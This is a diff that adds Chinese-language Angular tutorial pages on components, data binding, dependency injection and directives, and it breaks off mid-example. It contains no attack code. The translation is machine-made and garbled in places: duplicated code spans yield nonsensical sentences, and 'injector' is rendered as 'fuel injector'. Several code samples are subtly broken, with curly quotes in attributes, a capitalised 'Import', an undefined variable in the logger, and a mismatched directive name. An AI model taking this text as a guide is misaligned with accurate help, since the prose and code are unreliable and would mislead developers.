+任何元素上都可能存在shadow DOM分支。从HTML的源代码中看不到DOM的这一部分。标准HTML元素利用shadow DOM提供其商标外观。 shadow DOM分支必须将自身锚定到可见组件，以便它可以设置样式并对其进行自定义。
+
+关于shadow DOM分支的独特方面是它的封装。用于设置阴影DOM分支的根元素的所有内容都是私有的。没有其他元素可以访问它。
+
+Angular采用这种形式的封装与组件。组件的样式表和模板封装在一起。没有其他组件可以访问它们。样式表冲突不会发生。
+
+Angular默认不使用shadow DOM。它使用模拟阴影DOM行为的仿真系统。这是一个临时措施，因为某些Web浏览器尚不支持shadow DOM API。
+
+`@Component`元数据包含`encapsulation`字段。这使开发人员可以在模拟阴影DOM，真实阴影DOM之间切换，或者两者都不切换。以下是各自订单中的选项：
+
+*   `ViewEncapsulation.Emulated` - 假影子DOM（默认）
+    
+*   `ViewEncapsulation.Native` - 真正的影子DOM（自Angular 6.0.8以来已弃用）
+    
+*   `ViewEncapsulation.None` - 两者都没有
+    
+
+`ViewEncapsulation.None`表示组件的样式表提升到全局范围。不建议考虑组件应该形成自己的私有单元（封装）。 Angular仍然将其作为极端情况下的逃生舱。
+
+#### 结论
+
+组件构建应用程序除非另有配置，否则它们是私人范围的并且彼此分开制服。应用程序倾向于从根模块开始。过去，组件形成一个细长的树，定义了应用程序的其余部分。
+
+组件覆盖应用程序界面的指定单元。这包括其样式，逻辑和布局。管道，服务和指令等其他原理图在组件代码中经常使用。您可以在其他一些Angular指南文章中了解有关这些交互的更多信息。
+
+不要忘记组件必须[引导](https://angular.io/guide/bootstrapping) 。这可能发生在根模块或组件的元数据中。这样，Angular可以识别应用程序中出现的任何组件。
+
+您可以通过浏览以下链接领先了解更多信息。组件的深度远远超过本文所能传达的深度。
+
+## 来源
+
+*   [角度团队。 “Angular Docs”。 _谷歌_ 2018年6月3日访问](https://angular.io/guide)
+*   [Mozilla MDN社区。 “使用Shadow DOM”。 _Mozilla_ ，2018年5月30日更新。访问时间为2018年6月3日](https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_shadow_DOM)
+*   [Mundy，伊恩。 “声明与命令式编程”。 _codeburst.io_ ，2017年2月20日。访问2018年6月3日](https://codeburst.io/declarative-vs-imperative-programming-a8a7c93d9ad2)
+
+## 资源
+
+*   [角度文档](https://angular.io/guide)
+*   [Angular GitHub存储库](https://github.com/angular/angular)
+*   [组件简介](https://angular.io/guide/architecture-components)
+*   [深度组件](https://angular.io/guide/displaying-data)
+*   [暗影DOM](https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_shadow_DOM)
\ No newline at end of file
diff --git a/client/src/guide/chinese/angular/data-binding/index.md b/client/src/guide/chinese/angular/data-binding/index.md
new file mode 100644
index 0000000000..f91f220c46
--- /dev/null
+++ b/client/src/guide/chinese/angular/data-binding/index.md
@@ -0,0 +1,197 @@
+---
+title: Data Binding
+localeTitle: 数据绑定
+---
+# 数据绑定
+
+#### 动机
+
+数据通常定义应用程序的外观。将数据解释为用户界面涉及类逻辑（ `.component.html` ）和模板视图（ `.component.ts` ）。 Angular通过数据绑定连接它们。将数据绑定视为组件交互的工具。
+
+#### 组件和模板
+
+该组件将其大部分逻辑和数据存储在用`@Component`修饰的`@Component` 。此装饰器将类定义为具有模板HTML的组件。组件的模板表示应用程序中的类。这里的重点需要在组件的类和模板HTML之间。
+
+这是数据绑定发生的地方。元素属性和事件获得指定的值。由组件类定义的这些值提供两个角色之一。一种是生成模板然后接收的数据。另一个处理模板元素发出的事件。
+
+![代码示例](https://raw.githubusercontent.com/sosmaniac-FCC/designatedata/master/image4.png)
+
+尝试将此图片用作下一部分的心智模型。
+
+#### 绑定方向
+
+绑定数据有两种方式：单向和双向。 Angular技术上只使用单向数据流。双向流动最终是单向的。它发生在两个单向流动的应用中，每个方向一次。稍后会详细介绍。
+
+单向流定义了单向交互。组件将数据发送到模板，或者模板向组件逻辑发出事件。模板范围内的数据更改不会渗透到组件类。事件发出是从模板元素开始的单向事务。
+
+双向构成两个方向。这意味着对类逻辑或模板HTML中的数据的更改将持续存在于彼此之间。更改的范围是组件的视图。视图包含组件的类和模板。
+
+#### 元素属性
+
+为了识别数据绑定元素属性，Angular使用特殊的括号语法。
+
+```typescript
+// my.component.ts 
+ @Component({ 
+  templateUrl: './my.component.html' 
+ }) 
+ 
+ export class MyComponent { 
+  value:type = /* some value of type */; 
+ } 
+```
+
+```html
+
+<!-- my.component.html --> 
+ <any-element [property]=“value”>innerHTML</any-element> 
+```
+
+请耐心等待。
+
+`[property]`镜像域对象模型（DOM）元素的对象节点中的属性。不要将对象属性与DOM元素的属性混淆。属性和属性通常共享相同的名称并执行相同的操作。然而，有一个明显的区别。
+
+请记住， `attr` （attributes）是底层DOM对象的单个属性。它在DOM的实例化中声明，其属性值与元素的定义匹配。之后它保持相同的值。每个属性在DOM对象节点中都有自己的键值字段。这些属性在实例化后是可变的。
+
+了解属性和属性之间的区别。这将有助于更好地理解Angular如何将数据绑定到属性（属性绑定）。 Angular几乎不会将数据绑定到元素的属性。例外情况非常罕见。最后一次：Angular将组件数据绑定到属性，而不是属性！
+
+返回参考示例，元素属性赋值中的`[ … ]`具有特殊含义。括号表示`property`在赋值右侧绑定为`“value”` 。
+
+`value`在括号的上下文中也有特殊含义。 `value`本身就是一个字符串文字。 Angular读取它并将其值与组件类成员进行匹配。 Angular将替换匹配成员属性的值。这当然是指承载模板HTML的相同组件类。
+
+从组件到模板的单向数据流已完成。该成员与括号内财产的正确转让相匹配，提供了`value` 。请注意，组件类中成员值的更改会渗透到模板。这就是Angular在工作中的变化检测。模板范围内的更改对组件类成员没有影响。
+
+关键要点：组件类在模板显示时提供数据。
+
+我没有提到数据值也可以显示在组件的`innerHTML` 。最后一个示例实现了双花括号。 Angular识别这些大括号并将匹配的组件类数据插入到`div`的`innerHTML`中。
+
+```html
+
+<div>The value of the component class member 'value' is {{value}}.</div> 
+```
+
+#### 事件处理
+
+如果组件提供数据，则模板提供事件。
+
+```typescript
+// my.component.ts 
+ @Component({ 
+  templateUrl: './my.component.html' 
+ }) 
+ 
+ export class MyComponent { 
+  handler(event):void { 
+      // function does stuff 
+  } 
+ } 
+```
+
+```html
+
+// my.component.html 
+ <any-element (event)=“handler($event)”>innerHTML</any-element> 
+```
+
+这类似于属性绑定。
+
+`(event)`适用于任何有效的事件类型。例如，最常见的事件类型之一是`click` 。 _单击_鼠标时会发出。无论类型如何， `event`都绑定到示例中的`“handler”` 。事件处理程序通常是组件类的成员函数。
+
+`( … )`对Angular特殊。括号告诉Angular一个事件受限于正确的`handler`分配。事件本身源自host元素。
+
+当事件发出时，它以`$event`的形式传递Event对象。 `handler`映射到组件类的同名`handler`函数。从事件绑定元素到组件类的单向交换已完成。
+
+尽可能从处理程序中发出事件不会影响模板元素。毕竟绑定是单向的。
+
+#### 双向绑定
+
+输入表单提供了为什么需要双向绑定的一个很好的例子。双向数据绑定比事件或属性绑定更昂贵。
+
+双向数据绑定有自己的模块。在考虑之前，请考虑以下示例。
+
+```typescript
+// my.component.ts 
+ @Component({ 
+  templateUrl: './my.component.html' 
+ }) 
+ export class MyComponent { 
+  inputValue:string = ""; 
+ 
+  handler(event) { 
+      this.inputValue = event.target.value; 
+  } 
+ } 
+```
+
+```html
+
+<!-- my.component.html --> 
+ <input (input)=“handler($event)” [value]=“inputValue”> 
+```
+
+是时候打破这个了。
+
+这个例子结合了前两个。这就解释了为什么它成本更高。遵循逻辑，假设用户在输入元素中键入内容。元素向模板的组件类的`handler`发出`input`事件。处理程序将类成员`inputValue`分配给发出的事件的值。这结束了事件处理/绑定。
+
+现在进入属性绑定。为`inputValue`分配了一个新值。由于`inputValue`绑定到input元素的`value` ，因此其数据更改会渗透到input元素的`value`属性中。 input元素的`value`与`inputValue`匹配。结束了属性绑定。
+
+你有它。双向数据绑定发生在连续应用单向绑定的两个应用程序中。但语法有点乱。
+
+值得庆幸的是，Angular提供了`NgModel`来简化语法。以下示例与上述内容同义。
+
+```typescript
+// my.component.ts 
+ @Component({ 
+  templateUrl: './my.component.html' 
+ }) 
+ 
+ export class MyComponent { 
+  inputValue:string = ""; 
+ } 
+```
+
+```html
+
+<!-- my.component.html --> 
+ <input [(ngModel)]=“inputValue”> 
+```
+
+`ngModel`是一个很好的方便。在使用之前，您必须在应用程序的根目录中导入FormsModule。通过这种平方，双向数据绑定变得更容易使用。
+
+为了加强您所学到的知识，请查看官方[Angular文档1中的](https://angular.io/guide/architecture-components#data-binding)这张图片。
+
+![数据流图](https://raw.githubusercontent.com/sosmaniac-FCC/designatedata/master/image2.png)
+
+到目前为止，您可以使用此图片直观地总结所有内容。 Angular的文档还有很多其他值得一看的图片。鉴于本文的范围，这个应该足够了。
+
+#### 组件到组件
+
+要跨不同组件绑定数据和事件，必须使用@Input和@Output装饰器。角度组件是私有范围的。组件的所有成员都不能从其原生视图之外的任何位置访问。
+
+@Input装饰器指示成员的值来自父函数。这需要可视化以更好地理解。
+
+![代码示例](https://raw.githubusercontent.com/sosmaniac-FCC/designatedata/master/image3_.png)
+
+请注意将父级的`value`成员传递给子级的`property`成员。如果`property`没有@Input装饰器，那么这是不可能的。 Angular编译器依赖于它。
+
+@Output的另一个示例显示了事件如何从子项传播到父项。请记住，@ Output几乎总是与自定义事件绑定有关。
+
+![代码示例](https://raw.githubusercontent.com/sosmaniac-FCC/designatedata/master/image1.png)
+
+如果要复制其中任何一个示例，请确保从`@angular/common`导入`EventEmitter` ， `@angular/common` `@Input`和`@Output` 。
+
+#### 结论
+
+这是一个停下来的好地方。数据绑定涵盖了大量用例。这个主题值得在[Angular的网站](https://angular.io)上进一步探讨。这些不是您在Angular中操作数据的唯一方法。有关更多信息，请参阅参考资料下的链接
+
+### 来源
+
+1.  [角度团队。组件简介。谷歌。 2018年5月26日访问](https://angular.io/guide/architecture-components#data-binding)
+
+### 资源
+
+*   [角度文档](https://angular.io/docs)
+    
+*   [Angular GitHub存储库](https://github.com/angular/angular)
+    
+*   [有关Angular中的组件和模板的更多信息](https://angular.io/guide/displaying-data)
\ No newline at end of file
diff --git a/client/src/guide/chinese/angular/dependency-injection/index.md b/client/src/guide/chinese/angular/dependency-injection/index.md
new file mode 100644
index 0000000000..4c74272ef8
--- /dev/null
+++ b/client/src/guide/chinese/angular/dependency-injection/index.md
@@ -0,0 +1,285 @@
+---
+title: Dependency Injection
+localeTitle: 依赖注入
+---
+# 依赖注入
+
+#### 动机
+
+依赖注入通常更简单地称为DI。范式存在于整个Angular中。它使代码保持灵活，可测试和可变。类可以在不知道如何创建外部逻辑的情况下继承外部逻辑。这些课程的任何消费者也不需要知道任何事情。
+
+DI使得课程和消费者都不必知道必要的知识。然而，由于在Angular中支持DI的机制，代码与之前的模块一样。
+
+服务是DI的关键恩人。他们依靠范式_注入_各种消费者。然后，那些消费者可以利用该服务在其他地方提供和/或转发。
+
+服务并不孤单。指令，管道，组件等：Angular中的每个原理图都以某种方式从DI中受益。
+
+#### 喷油器
+
+注入器是存储指令的数据结构，详细说明服务的形式。它们充当Angular DI系统中的中间人。
+
+模块，指令和组件类包含特定于注入器的元数据。每个类都附带一个新的注入器实例。通过这种方式，应用程序树可以镜像其注入器的层次结构。
+
+`providers: []`元数据接受服务，然后向类注入器注册。此提供程序字段添加了进样器运行所需的指令。类（假设它具有依赖性）通过将其类作为其数据类型来实例化服务。注入器对齐此类型，代表该类创建该服务的实例。
+
+当然，该类只能实例化注入器具有的指令。如果类'自己的注入器没有注册服务，那么它查询其父服务器。依此类推，直到使用服务或应用程序根达到注入器。
+
+服务可以在应用程序内的任何注射器处注册。服务进入`providers: []`类模块，指令或组件的元数据字段。类'children可以实例化在类'注入器中注册的服务。毕竟儿童注射器后退在父母注射器上。
+
+#### 依赖注入
+
+查看每个类的骨架：服务，模块，指令和组件。
+
+```typescript
+// service 
+ 
+ import { Injectable } from '@angular/core'; 
+ 
+ @Injectable({ 
+  providedIn: /* injector goes here */ 
+ }) 
+ export class TemplateService { 
+  constructor() { } 
+ } 
+```
+
+```typescript
+// module 
+ 
+ import { NgModule } from '@angular/core'; 
+ import { CommonModule } from '@angular/common'; 
+ 
+ @NgModule({ 
+  imports: [ 
+    CommonModule 
+  ], 
+  declarations: [], 
+  providers: [ /* services go here */ ] 
+ }) 
+ export class TemplateModule { } 
+```
+
+```typescript
+// directive 
+ 
+ import { Directive } from '@angular/core'; 
+ 
+ @Directive({ 
+  selector: '[appTemplate]', 
+  providers: [ /* services go here */ ] 
+ }) 
+ export class TemplateDirective { 
+  constructor() { } 
+ } 
+```
+
+```typescript
+//component 
+ 
+ import { Component } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-template', 
+  templateUrl: './template.component.html', 
+  styleUrls: ['./template.component.css'], 
+  providers: [ /* services go here */ ] 
+ }) 
+ export class TemplateComponent { 
+  // class logic ... 
+ } 
+```
+
+每个骨架都可以向注射器注册服务。实际上，TemplateService _是_一种服务。从Angular 6开始，服务现在可以使用`@Injectable`元数据向注入器注册。
+
+##### 在任何情况下
+
+注意`providedIn: string` （ `@Injectable` ）和`providers: []` （ `@Directive` ， `@Componet` `@Module`和`@Module` ）元数据。他们告诉注射器在哪里以及如何创建服务。否则，注射器将不知道如何实例化。
+
+如果服务有依赖性怎么办？结果会在哪里？提供者回答这些问题，以便注射器可以正确实例化。
+
+注射器构成DI框架的主干。它们存储指令以实例化服务，因此消费者不必这样做。他们接收服务实例而无需了解源依赖关系！
+
+我还应该注意，没有喷射器的其他原理图仍然可以利用依赖注入。他们无法注册其他服务，但他们仍然可以从注入器实例化。
+
+##### 服务
+
+`@Injectable`的`providedIn: string`元数据指定要注册的注入器。使用此方法，并且根据服务是否被使用，服务可能会或可能不会注册到注入器。 Angular称这种_树在摇晃_ 。
+
+默认情况下，该值设置为`'root'` 。这转换为应用程序的根注入器。基本上，将字段设置为`'root'`可使服务随处可用。
+
+##### 快速注意
+
+如前所述，儿童注射器会对父母产生影响。这种后备策略可确保父母不必为每个注射器重新注册。有关此概念的说明，请参阅有关[服务和注入器的](https://guide.freecodecamp.org/angular/services-and-injectors)文章。
+
+注册服务是_单身人士_ 。意思是，实例化服务的指令仅存在于一个注入器上。这假设它没有在其他地方明确注册。
+
+##### 模块，指令和组件
+
+每个模块和组件都有自己的注入器实例。鉴于`providers: []`元数据字段，这一点很明显。该字段获取一组服务，并使用模块或组件类的注入器注册它们。这种方法发生在`@NgModule` `@Directive` ， `@Component` `@Directive`或`@Component`装饰器中。
+
+此策略省略了_树形抖动_ ，或者可选择从注入器中删除未使用的服务。服务实例在模块或组件的生命周期中存在于其注入器上。
+
+#### 实例化参考
+
+对DOM的引用可以从任何类实例化。请记住，引用仍然是服务。它们在表示其他东西的状态方面不同于传统服务。这些服务包括与其参考进行交互的功能。
+
+指令一直需要DOM引用。指令通过这些引用对其宿主元素进行突变。请参阅以下示例。该指令的注入器将host元素的引用实例化为类的构造函数。
+
+```typescript
+// directives/highlight.directive.ts 
+ 
+ import { Directive, ElementRef, Renderer2, Input } from '@angular/core'; 
+ 
+ @Directive({ 
+  selector: '[appHighlight]' 
+ }) 
+ export class HighlightDirective { 
+  constructor( 
+    private renderer: Renderer2, 
+    private host: ElementRef 
+  ) { } 
+ 
+  @Input() set appHighlight (color: string) { 
+    this.renderer.setStyle(this.host.nativeElement, 'background-color', color); 
+  } 
+ } 
+```
+
+```html
+
+// app.component.html 
+ 
+ <p [appHighlight]="'yellow'">Highlighted Text!</p> 
+```
+
+`Renderer2`也被实例化。这些服务来自哪个注射器？好吧，每个服务的源代码都来自`@angular/core` 。然后，这些服务必须注册应用程序的根注入器。
+
+```typescript
+import { BrowserModule } from '@angular/platform-browser'; 
+ import { NgModule } from '@angular/core'; 
+ import { AppComponent } from './app.component'; 
+ import { HighlightDirective } from './directives/highlight.directive'; 
+ 
+ @NgModule({ 
+  declarations: [ 
+    AppComponent, 
+    HighlightDirective 
+  ], 
+  imports: [ 
+    BrowserModule 
+  ], 
+  providers: [], 
+  bootstrap: [ 
+    AppComponent 
+  ] 
+ }) 
+ export class AppModule { } 
+```
+
+一个空的提供者数组！？不要害怕。 Angular会自动使用根注入器注册许多服务。这包括`ElementRef`和`Renderer2` 。在这个例子中，我们通过源自`ElementRef`实例化的接口来管理host元素。 `Renderer2`允许我们通过Angular的视图模型更新DOM。
+
+您可以从[本文中](https://guide.freecodecamp.org/angular/views)阅读有关视图的更多信息。它们是Angular应用程序中DOM /视图更新的首选方法。
+
+重要的是要认识到注射器在上述例子中所起的作用。通过在构造函数中声明变量类型，该类可以获得有价值的服务。每个参数的数据类型映射到进样器内的一组指令。如果注入器具有该类型，则返回所述类型的实例。
+
+#### 实例化服务
+
+[服务和注射器](https://guide.freecodecamp.org/angular/services-and-injectors)文章在一定程度上解释了这一部分。尽管如此，本节重新讨论了上一节或大部分内容。服务通常会提供其他内容的参考。他们也可以提供扩展类功能的接口。
+
+下一个示例将定义一个日志服务，该服务通过其`providers: []`添加到组件的注入器`providers: []`元数据。
+
+```typescript
+// services/logger.service.ts 
+ 
+ import { Injectable } from '@angular/core'; 
+ 
+ @Injectable() 
+ export class LoggerService { 
+  callStack: string[] = []; 
+ 
+  addLog(message: string): void { 
+    this.callStack = [message].concat(this.callStack); 
+    this.printHead(); 
+  } 
+ 
+  clear(): void { 
+    this.printLog(); 
+    this.callStack = []; 
+    console.log(“DELETED LOG”); 
+  } 
+ 
+  private printHead(): void { 
+    console.log(this.callStack[0] || null); 
+  } 
+ 
+  private printLog(): void { 
+    this.callStack.reverse().forEach((log) => console.log(message)); 
+  } 
+ } 
+```
+
+```typescript
+// app.component.ts 
+ 
+ import { Component } from '@angular/core'; 
+ import { LoggerService } from './services/logger.service'; 
+ 
+ @Component({ 
+  selector: 'app-root', 
+  templateUrl: './app.component.html', 
+  providers: [LoggerService] 
+ }) 
+ export class AppComponent { 
+  constructor(private logger: LoggerService) { } 
+ 
+  logMessage(event: any, message: string): void { 
+    event.preventDefault(); 
+    this.logger.addLog(`Message: ${message}`); 
+  } 
+ 
+  clearLog(): void { 
+    this.logger.clear(); 
+  } 
+ } 
+```
+
+```html
+
+// app.component.html 
+ 
+ <h1>Log Example</h1> 
+ <form (submit)="logMessage($event, userInput.value)"> 
+  <input #userInput placeholder="Type a message..."> 
+  <button type="submit">SUBMIT</button> 
+ </form> 
+ 
+ <h3>Delete Logged Messages</h3> 
+ <button type="button" (click)="clearLog()">CLEAR</button> 
+```
+
+专注于AppComponent构造函数和元数据。组件注入器从包含LoggerService的提供程序的元数据字段接收指令。然后，注入器知道从构造函数中请求的实例化LoggerService的内容。
+
+构造函数参数`loggerService`具有注入器识别的`LoggerService`类型。注入器如上所述进行实例化。
+
+#### 结论
+
+依赖注入（DI）是一种范例。它在Angular中的工作方式是通过注入器的层次结构。类无需创建或了解它们即可接收其资源。注入器接收指令并根据请求的实例来实例化服务。
+
+DI在Angular中出现了很多。官方的Angular文档解释了为什么范式如此普遍。他们还继续以Angular方式描述DI的众多用例，超出了本文所讨论的范围。点击下面查看！
+
+## 来源
+
+*   [角度团队。 “依赖注入模式”。 _谷歌_ 2018年6月1日访问](https://angular.io/guide/dependency-injection-pattern)
+    
+*   [Zuev，阿列克谢。 “你一直想知道的Angular Dependency Injection树”。 _Angular In Depth_ ，2018年3月21日。访问2018年6月1日](https://blog.angularindepth.com/angular-dependency-injection-and-tree-shakeable-tokens-4588a8f70d5d)
+    
+
+## 资源
+
+*   [角度文档](https://angular.io/guide/pipes)
+    
+*   [Angular GitHub存储库](https://github.com/angular/angular)
+    
+*   [依赖注入简介](https://angular.io/guide/architecture-services)
+    
+*   [高级依赖注入](https://angular.io/guide/dependency-injection-pattern)
\ No newline at end of file
diff --git a/client/src/guide/chinese/angular/directives/index.md b/client/src/guide/chinese/angular/directives/index.md
new file mode 100644
index 0000000000..9c512e8027
--- /dev/null
+++ b/client/src/guide/chinese/angular/directives/index.md
@@ -0,0 +1,332 @@
+---
+title: Directives
+localeTitle: 指令
+---
+# 指令
+
+#### 动机
+
+指令是Angular模板HTML的核心。组件是最重要的例子。每个组件视图都呈现在根组件视图下方。这可以导致定义单个应用程序的视图树。视图构成一个类（ `component.ts` ）及其模板（ `component.html` ）。
+
+其他指令虽然不那么重要，但却提供了急需的灵活性。位于元素上的指令可以完全控制它。使用`<ng-template></ng-template>`可以动态创建和删除HTML内容。 Microsyntax使开发人员可以自由地进一步定制指令行为。
+
+#### 指令
+
+指令是Angular创建和识别的组件元素和属性。 Angular将元素或属性与其对应的类定义相关联。 `@Directive`或`@Component`装饰这些类。两者都指示Angular该类作为指令执行。
+
+某些指令会修改主机元素的样式。其他指令显示视图或作为嵌入视图插入现有视图。换句话说，它们会改变HTML布局。
+
+在任何情况下，指令都会向Angular编译器发出信号。它们根据指令的类逻辑标记要修改的组件。
+
+#### 组件指令
+
+组件指令与其他指令类型的根本不同。它们通常被称为组件。它们形成了自己独特的HTML标记。对于每个组件，都有一些模板HTML。这与其他两个指令不同。他们的类是纯逻辑操作模板HTML中预定义的。
+
+#### 组件创建
+
+使用`ng generate component [name-of-component]`创建`ng generate component [name-of-component]` ;用`[name-of-component]`替换`[name-of-component]` 。该命令产生四个不同的文件，这些文件都属于一个组件。
+
+`component.css`和`component.spec.ts`超出了本文的范围。组件的_指令_方面涉及其他两个文件。看一下生成的`component.ts`和`component.html` 。
+
+```typescript
+// example.component.ts 
+ import { Component } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  templateUrl: './example.component.html' 
+ }) 
+ export class ExampleComponent { 
+  constructor() { } 
+ } 
+```
+
+从默认的`component.ts`生成中删除了一些不相关的细节。这样，重点是组件本身。
+
+```html
+
+<!-- example.component.html --> 
+ 
+ <p>example works!</p> 
+```
+
+将ExampleComponent作为另一个组件的子项插入将如下所示。
+
+```html
+
+<!-- another.component.html --> 
+ 
+ <h1>Welcome to AnotherComponent.</h1> 
+ <h3>Check out ExampleComponent!</h3> 
+ 
+ <!-- Outputs “<p>example works!</p>” --> 
+ <app-example></app-example> 
+ 
+ <h6>This is the end of the AnotherComponent template HTML.</h6> 
+```
+
+注意`<app-example></app-example>` 。 `app-example`与ExampleComponent的`@Component`装饰器中的选择器匹配。这是一个组件指令。 Angular识别`app-example` _并将_其呈现指向ExampleComponent类。
+
+#### 结构指令
+
+考虑编程逻辑中的`if`语句， `for`循环和`switch`语句。这些逻辑结构决定了代码的执行。代码是执行（ `if` ），执行多少次（ `for` ），以及执行哪个代码块（ `switch` ）。
+
+这种模式继续结构指令。它们确定模板的结果HTML结构。它们总是涉及一些`ng-template`使用。 `ng-template`提供了一种创建有条件呈现HTML的机制。
+
+以下是结构指令的三个示例。每个都有一个逻辑对应物（ `if` ， `for`和`switch` ）。
+
+*   \* ngIf
+    
+*   \* ngFor
+    
+*   \* ngSwitchCase和\* ngSwitchDefault
+    
+
+**重要说明：**这三个都可以通过`CommonModule`导入获得。它可以从`@angular/common`获取，以便在应用程序的根模块中导入。
+
+##### \* ngIf
+
+`*ngIf`根据JavaScript中的一般布尔值评估测试给定值以查看它是否_真实_或_虚假_ 。如果真的，元素及其innerHTML出现。否则，它们永远不会呈现给域对象模型（DOM）。
+
+```html
+
+<!-- renders “<h1>Hello!</h1>” --> 
+ <div *ngIf="true"> 
+  <h1>Hello!</h1> 
+ </div> 
+ 
+ <!-- does not render --> 
+ <div *ngIf="false"> 
+  <h1>Hi!</h1> 
+ </div> 
+```
+
+这是一个人为的例子。模板的组件类中的任何成员值都可以替换为`true`或`false` 。
+
+注意：您还可以使用\* ngIf执行以下操作以访问observalbe值
+
+```html
+
+<div *ngIf="observable$ | async as anyNameYouWant"> 
+  {{  anyNameYouWant }} 
+ </div> 
+```
+
+##### \* ngFor
+
+`*ngFor`循环基于右指定的_微_合成表达式。 Microsyntax超出了本文的范围。知道微合成是一种简短的逻辑表达形式。它作为一个能够引用类成员值的字符串出现。它可以循环可迭代的值，这使得它对`*ngFor`有用。
+
+```html
+
+<ul> 
+  <li *ngFor=“let potato of ['Russet', 'Sweet', 'Laura']; let i=index”> 
+      Potato {{ i + 1 }}: {{ potato }} 
+  </li> 
+  <!-- Outputs 
+  <li> 
+      Potato 1: Russet 
+  </li> 
+  <li> 
+      Potato 2: Sweet 
+  </li> 
+  <li> 
+      Potato 3: Laura 
+  </li> 
+  --> 
+ </ul> 
+```
+
+`['Russet', 'Sweet', 'Laura']`是一个可迭代的值。数组是最常见的迭代之一。 `*ngFor`为每个数组元素吐出一个新的`<li></li>` 。每个数组元素都分配了变量`potato` 。这都是利用微合成酶完成的。 `*ngFor`定义了`ul`元素的结构内容。这是结构指令的特征。
+
+注意：您还可以使用\* ngFor指令执行以下操作以获取对observalbe值的访问权限（hacky）
+
+```html
+
+<div *ngFor="let anyNameYouWant of [(observable$ | async)]"> 
+  {{  anyNameYouWant }} 
+ </div> 
+```
+
+##### \* ngSwitchCase和\* ngSwitchDefault
+
+这两个结构指令协同工作，为模板HTML提供`switch`功能。
+
+```html
+
+<div [ngSwitch]=“potato”> 
+  <h1 *ngSwitchCase=“'Russet'”>{{ potato }} is a Russet Potato.</h1> 
+  <h1 *ngSwitchCase=“'Sweet'”>{{ potato }} is a Sweet Potato.</h1> 
+  <h1 *ngSwitchCase=“'Laura'”>{{ potato }} is a Laura Potato.</h1> 
+  <h1 *ngSwitchDefault>{{ potato }} is not a Russet, Sweet, nor Laura Potato.</h1> 
+ </div> 
+```
+
+只有一个`*ngSwitch…`表达式呈现。注意包裹交换机的`div`元素内部的`[ngSwitch]`属性。这会沿着`*ngSwitch...`链传递`potato`的值。这个结构指令链决定了哪个`h1`元素呈现。
+
+因此， `[ngSwitch]`不是`*ngSwitch…`语句不同的结构指令。它传递值，而switch块确定HTML的最终布局。
+
+请记住，程式化和价值传递不是结构指令的责任。这涉及属性指令。结构指令仅确定布局。
+
+#### 结构指令创建[1](https://angular.io/guide/structural-directives)
+
+关于前面的例子，有一些重要的事情要理解。它们都是起始星号（ `*` ）的简写。每个星号应用程序都会使用`ng-template` 。
+
+`ng-template`定义结构指令。它解释了如何配置模板HTML以生成实际的HTML。首先使用`ng generate directive [name-of-directive]`创建一个指令。将`[name-of-directive]`替换为可取的名称。该命令产生以下结果。
+
+```typescript
+import { Directive } from '@angular/core'; 
+ 
+ @Directive({ 
+  selector: '[appExample]' 
+ }) 
+ export class ExampleDirective { 
+  constructor() { } 
+ } 
+```
+
+这个指令骨架非常简单。它还不知道我们是否正在构建结构或属性指令。 `selector: '[appExample]'`告诉Angular指令映射到哪个属性。由于您正在创建结构指令，因此请按如下方式修改骨架。
+
+```typescript
+Import { Directive, Input, TemplateRef, ViewContainerRef } from '@angular/core'; 
+ 
+ @Directive({ 
+  selector: '[appExample]' 
+ }) 
+ export class ExampleDirective { 
+  @Input() set appExample(booleanValue: boolean) { 
+      if (booleanValue) { 
+          this.ngTemplate.createEmbeddedView(this.innerHTMLOfTemplateScope); 
+      } 
+      else { 
+          this.ngTemplate.clear(); 
+      } 
+  } 
+ 
+  constructor( 
+      private innerHTMLOfTemplateScope:TemplateRef<any>, 
+      private ngTemplate:ViewContainerRef 
+  ) { } 
+ } 
+```
+
+在`appExample`属性中包含任意元素就是一个很好的例子。
+
+```html
+
+<div *appExample=“value”>innerHTML content</div> 
+ <!-- This is shorthand for: 
+ <ng-template> 
+  <div>innerHTML content</div> 
+ </ng-template> 
+ --> 
+```
+
+这需要考虑很多。 `@Input() set ...`是一个setter成员声明。只要`appExample`属性出现在元素中并且被赋予布尔值，它就会执行`appExample`函数接收该布尔值作为执行参数。
+
+`TemplateRef<any>`引用`<ng-template></ng-template>`的innerHTML。前面示例中使用的星号是上述代码块中注释的简写。 `ng-template`是它结构指令的_秘诀_ 。
+
+`ViewContainerRef`引用`<ng-template></ng-template>`的封装范围。 `ng-template`不是实际元素。它是Angular编译器的标记，最终被注释掉。
+
+`ViewContainerRef`有两个方法： `clear()`和`createEmbeddedView()` 。您可以将嵌入视图视为`ng-template`元素中的HTML范围。
+
+`clear()`从HTML显示中删除`ng-template`中任何现有的HTML范围。 `createEmbeddedView()`将`ng-template`的HTML定位为可显示的HTML。
+
+如果了解最新的代码示例，那么您就可以掌握`*ngIf` ， `*ngFor` ， `*ngSwitchCase`和`*ngSwitchDefault` 。它们都参考`TemplateRef<any>`和`ViewContainerRef`来确定布局。
+
+实际上，上面的ExampleDirective模仿了`*ngIf`的功能！
+
+```html
+
+<!-- renders “<h1>Hello!</h1>” --> 
+ <div *ngExample="true"> 
+  <h1>Hello!</h1> 
+ </div> 
+ 
+ <!-- does not render --> 
+ <div *appExample="false"> 
+  <h1>Hi!</h1> 
+ </div> 
+```
+
+永远不要忘记星号（ `*` ）。它是我们的指令类引用的`ng-template`元素的简写。
+
+#### 属性指令
+
+属性指令类似于结构。除此之外，属性指令对HTML布局没有任何影响。他们没有实现`<ng-template></ng-template>` 。它们是引用其主机元素以进行样式更改的属性。
+
+最好的例子解释了他们的目的。
+
+#### 属性指令创建[2](https://angular.io/guide/attribute-directives)
+
+生成另一个指令： `ng generate directive [name-of-directive]` 。将`[name-of-directive]`替换为可取的名称。
+
+```typescript
+import { Directive } from '@angular/core'; 
+ 
+ @Directive({ 
+  selector: '[appExample]' 
+ }) 
+ export class ExampleDirective { 
+  constructor() { } 
+ } 
+```
+
+属性和结构指令都以相同的骨架开头。还有一些新增功能将区分属性指令。
+
+```typescript
+import { Directive, Input, ElementRef } from '@angular/core'; 
+ 
+ @Directive({ 
+  selector: '[appExample]' 
+ }) 
+ export class ExampleDirective { 
+  @Input() set appExample(color:string) { 
+      this.host.nativeElement.style.color = color; 
+  } 
+ 
+  constructor(private host:ElementRef) { } 
+ } 
+```
+
+要测试的一些元素会有所帮助。
+
+```html
+
